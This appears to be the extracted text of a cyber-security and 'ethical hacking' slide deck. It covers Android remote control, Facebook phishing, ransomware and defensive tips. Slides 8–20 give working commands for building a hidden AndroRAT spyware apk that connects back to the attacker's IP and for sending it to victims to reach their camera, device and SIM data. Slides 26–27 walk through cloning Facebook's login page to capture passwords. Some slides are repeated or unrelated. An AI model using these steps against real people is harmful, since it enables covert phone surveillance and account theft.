This document contains a presentation on cyber security, ethical hacking, and penetration testing. It discusses various cyber threats like hacking, malware, and phishing. It then provides details on mobile hacking using AndroRAT to remotely control an Android phone. It also covers social media hacking techniques and how to conduct phishing attacks on sites like Facebook. The document concludes with a section on ransomware that demonstrates encrypting and decrypting files with a Python script.

1. Cyber Security / Ethical
Hacking / Penetration Testing

2. Presentation Contents
• Cyber Security /Ethical Hacking /
Pen Testing
• Threats:
• Hacking
• Malware
• Phishing
• Mobile Phone Hack
• Attack Background
• Android Hacking using AndroRAT
• Practical Demonstration
• Windows 10 Hack
• Attack Background
• Password Hack
• Whole System Control
• Practical Demonstration
• Ransomware Attack
• Background
• Practical Demonstration
• References

3. What is Cyber Security / Ethical hacking /
penetration testing?
Cyber Security:
• It is related to characteristic of digital devices like computer, information technology,
virtual reality, image processing, AI based automation solutions.
• Security is the combination of Confidentiality, Integrity, Availability (CIA) triangle.
Ethical Hacking
• A set of high professional morals & principles.
• Attempt to gain unauthorized access to a computer system, application or data.
Penetration Testing
• It is security exercise where a cyber-security expert attempts to find and exploit
vulnerabilities in a digital equipment.
• Like social media hacking, mobile hacking, Ransomware and others attacks.

4. 01
ANALYSIS
02
LOGISTICS
03
PRODUCT
04
PROFIT
07
PLAN
06
PROCURE-
MENT
08
MANAGE-
MENT
05
DETERMINA-
TION

5. Why and Who is doing hacking?
• Financial (theft, fraud, blackmail)
• Political /state (state level/ military)
• Fame/ kudos (fun/ status)
• Hacktivism (cause)
• Pen testers (legal hacking)
• Police/ FIA cyber crime division
• Insider
• Business

6. Mobile Hacking (Note : Only For Educational Purpose.)
• Pre-requiste for Mobile Hacking:
• Github installed
• Python3 installed
• Java installed
• Local Machine (PC) IP address
• Linux/Osx System

7. Mobile Hacking (Note : Only For Educational Purpose.)
• Attack using AndroRAT:
• A Tool used to control Android phone remotely
• Client/Server application
• Client-Side developed in Java language
• Server is developed in Python
• Windows/Linux/Osx System

8. Mobile Hacking (Note : Only For Educational Purpose.)
• Step 1: Clone the repository from GitHub:
• A following command should be used to clone the
Git repository.
Git clone https://github.com/karma9874/AndroRAT.git
• Step 2: open the cloned repository in cmd/terminal
cd <Directory_name> AndroRAT
• Step 3: Installing necessary Libraries using PIP tool
pip install –r requirements.txt

9. Mobile Hacking (Note : Only For Educational Purpose.)
• Step 4: Building Malicious apk file for spying Cell phone:
• A following command should be used to build the apk file.
python3 androRAT.py - -build –i <your_IP_Address> -p 8089 –o
<apk_name>.apk
Find IP Address: Use ipconfig /all or ifconfig on cmd/terminal.
• Step 5: Host the Listener as follows:
python3 androRAT.py –shell –I 0.0.0.0 –p 8089
• Step 6: Open another terminal/cmd and run WebServer
sudo apachectl start

10. Mobile Hacking (Note : Only For Educational Purpose.)
• Send generated Android .apk file to Victim cell via
email link, WhatsApp, SMS link etc. The victim will
download it and install it as follows:

11. Mobile Hacking (Note : Only For Educational Purpose.)
• Send generated Android .apk file to Victim cell via appending/email link,
WhatsApp, SMS link etc. The victim will download it and install it as
follows:

12. Mobile Hacking (Note : Only For Educational Purpose.)
• On Hacker side the following shell will appear and wait for listening
connection:

13. Mobile Hacking (Note : Only For Educational Purpose.)
• When victim install apk on their cell the following screenshot shows
that a connection established (IP address appears):

14. Mobile Hacking (Note : Only For Educational Purpose.)
• When victim install apk on their cell the following screenshot shows that a
connection established (IP address appears): write help will show the command
to use victim cell data. The installed apk hide it, no icons can seen on the screen

15. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of deviceInfo shows the device information as follows:

16. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of deviceInfo and camList shows the information as follows:

17. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of deviceInfo and camList shows the information as follows:

18. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of deviceInfo camList, takepic and vibrate shows as follows:

19. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of deviceInfo, camList, ip shows Output as follows:

20. Mobile Hacking (Note : Only For Educational Purpose.)
• The output of SIM information as follows:

21. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Background: Client/Server Architecture
Clients Server
1. Client side Threats
2. Server side Threats
3. Network Threats

22. Social Media Hack (Facebook, Twitter, Instagram etc.)
Email Spoofing & Phishing Attack
• Uses a fake email address or simulates a genuine one in
order to deceive user
• Redirect user to webpage that looks like a social media page
• Records the login information inputted, may attempt to
download malware or perform XSS
• According to Kapersky 1 in 5 Phishing Scams include
Facebook
Hacking FB Accounts Using Tabnapping.

23. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Domain Name System (DNS): In Simple World
• DNS map the Host Name with IP address, There are 13-root name servers in the
world. DNS are placed on different regions world-wide. Host name ping as follows:

24. Social Media Hack (Facebook, Twitter, Instagram etc.)
• In Windows, the file will be located under C:WindowsSystem32driversetc.

25. Social Media Hack (Facebook, Twitter, Instagram etc.)
• WireShark tool is used to capture packets. let's see the traffic on the packet level:
We have an IP address of 192.168.10.19, which is the IP
address of our attacker

26. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Facebook password phishing Step by Step
Step 1: First, we need to set up a phishing page.
first open your browser and navigate to the Facebook
login page. Then, on the browser menu, click on File
and then on Save page as.... Then, make sure that you
choose a complete page from the drop-down menu.
The output should be an .html file. Rename the
Facebook HTML page index.html.
Step 2: Inside this HTML, we have to change the login form. If
you search for action=, you will see it. Here, we change the
login form to redirect the request into a custom PHP page
called login.php. Also, we have to change the request method
to GET instead of POST.

27. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Facebook password phishing Step by Step
Step 3: Next, we will create the passwords.txt file, where the
target credentials will be stored.
Step 4: Now, we will copy all of these files into varwww and
start the Apache services.
If we open the index.html page locally, we will see that this is
the phishing page that the target will see.
Open the browser and navigate to
http://www.facebook.com/:
Now, log into your Facebook account using your username and
password. and jump on the folder and see if we get anything
on the passwords.txt file.

29. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Countermeasures
Securing the online account

30. Social Media Hack (Facebook, Twitter, Instagram etc.)
• Countermeasures
Securing the online account
• Don’t click any links on an email
unless you can guarantee who its
from.
• Use a trusted method of contacting
the company via a phone number,
app or website.
• Mark the email as spam and contact
the organisation.

31. Ransomware Attack Background
• Normally loaded onto a computer via a download/attachment/link
from an email or website.
• Will either lock the screen or encrypt your data.
• Once Ransomware is uploaded on your computer/tablet/phone it is
very difficult to remove without removing all of the data
• Wannacry attack 2017 - One of the biggest cyber attacks to occur.
• Is said to have hit 300,000 computers in 150 countries.
• Companies affected include; K-electric, Life insurance company,
NHS, Renault, FedEx, Spanish telecoms and gas companies,
German railways etc.
An Hacker Encrypt your data and demand ransom in the form of Bitcoins to decrypt back.

32. Ransomware
• More than a third of NHS trusts in England and Wales were affected with over 6,800 operations
cancelled. The virus is spread through a vulnerability in the Windows OS known as “Eternal Blue,” .

33. Ransomware
• More than a third of NHS trusts in England and Wales were affected with over 6,800 operations
cancelled. The virus is spread through a vulnerability in the Windows OS known as “Eternal Blue,” .

34. Ransomware practical demonstration
• In this simulation, we will use python script to encrypt/decrypt the specific folder as follows:

35. Ransomware practical demonstration
• In this simulation, we will use python script to encrypt/decrypt the specific folder as follows:

36. Ransomware practical demonstration
• In this simulation, we will use python script to encrypt/decrypt the specific folder as follows:
Output after Encryption, the file inside the folder can’t be readable.

37. Ransomware practical demonstration
• In this simulation, we will use python script to encrypt/decrypt the specific folder as follows:
Output after decryption operation, the file inside the folder can be readable now.

38. Ransomware practical demonstration
• In this simulation, we will use python script to encrypt/decrypt the specific folder as follows:
Output after decryption operation, the file inside the folder can be readable again.

39. How to tackle Ransomware
• Back up- Keep a backed up copy of your data. Ensure its not
permanently connected to the network.
• Patch- Keep your software up to date. Wannacry was successful as
those affected computers hadn’t updated. The update contained a fix
for the problem.
• Attachments- Don’t click on links from emails/SMS as this could easily
be from an untrusted source and contain malware like Ransomware

40. Public Wi-Fi
• May not be trustworthy. They could share your information to other
companies who operate in countries without any data protection.
• You may not know who is watching you whilst you’re online.
What to do and not do to
• Don’t use online banking. Use your own data.
• Don’t conduct any purchases
• Use a virtual private network (VPN)

44. CYBER SECURITY Tips
Tips for protecting yourself from cybersecurity threats in 2023:
Password Policy
Use strong passwords and
change them regularly.
Information
Sharing vigilant
Be careful about what
information you share
online.
Firewall and Antivirus
Install a firewall and
antivirus software.
Systems & software
Keep your systems
and software up to
date.
Unknown link and
Attachments
Don't click on links or
open attachments from
unknown senders.
Data Backup
Back up your
data regularly.
Lastly be aware of the latest cybersecurity threats.

45. Passwords Advice
• Use 1 password per account.
• Three random words use. Like Capitals, special characters and
numbers is your own choice.
• If you follow this advice your passwords security will be significantly
increased against a brute force attack.
• Password managers can be helpful to store your passwords.

46. Advice
• In the physical world we’re good at protecting ourselves and
our property, we need to replicate this in the digital world.
• 80% of cyber-crime is preventable.

47. Advice
• Update and migrate
• Activate your firewall
• Staff awareness
• Data encryption
• User accounts privileges i.e admin
• Cyber insurance
• Prepare Plan

48. You are the best defence!
• Technology is only a small part of Cyber Defence
• You are the most important person – protect yourself
• For any businesses the most important and best defence is
Cyber Security Aware employees – train your staff
Always be aware!
Always be on your guard!
THANK YOU